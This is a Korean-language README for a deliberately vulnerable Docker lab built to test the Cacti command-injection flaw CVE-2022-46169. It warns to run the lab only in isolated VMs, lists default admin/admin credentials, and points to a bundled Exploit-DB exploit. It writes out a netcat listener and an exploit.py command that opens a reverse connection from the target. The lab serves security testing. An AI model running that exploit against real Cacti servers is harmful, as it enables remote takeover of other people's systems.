
경고: 이는 Cacti 명령어 주입(CVE-2022-46169) 취약점을 테스트하기 위한 취약한 애플리케이션입니다. 실행 시 책임은 본인에게 있습니다!
Cacti 취약점(CVE-2022-46169)을 테스트하기 위한 취약 애플리케이션입니다.
이 애플리케이션은 심각한 보안 취약점을 포함하고 있습니다. 사용 시 위험을 감수하세요! 백업되고 격리된 환경(예: 최근 스냅샷 및 호스트 전용 네트워킹을 사용하는 VM)에서 실행하는 것이 좋습니다. 이 애플리케이션을 인터넷에 노출된 서버에 업로드하지 마십시오. 해당 서버는 침해될 것입니다.
면책 조항: 누군가 이 애플리케이션을 사용하는 방식에 대해 저는 책임을 지지 않습니다. 이 애플리케이션의 유일한 목적은 CVE-2022-46169 익스플로잇을 위한 테스트 시나리오이며, 악의적으로 사용되어서는 안 됩니다. 이 애플리케이션을 설치하여 서버가 침해된 경우, 그 책임은 설치한 사람(들)에게 있습니다.
환경을 설정하는 단계는 다음과 같습니다:
docker compose up -d를 실행하여 구성을 시작합니다.admin/admin입니다.컨테이너 이름은 vuln-cacti입니다.
환경을 해체하려면 docker compose down 명령을 사용하세요.
Cacti의 공식 설치 가이드는 여기에서 확인할 수 있습니다.
취약점의 상세 근본 원인은 여기에서 확인할 수 있습니다.
공개 익스플로잇은 Exploit-DB에서 확인할 수 있습니다. 간편함을 위해 exploit/ 폴더에 복사되어 있습니다.
실행하려면:
nc -lvp 6669
./exploit/exploit.py -u http://127.0.0.1/cacti/ -i host.docker.internal -p 6669
host.docker.internal은 컨테이너에서 호스트 머신에 접근하는 데 사용됩니다 (참고).vulhub 저장소에도 항목이 있습니다.
이 프로젝트는 Unlicense에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.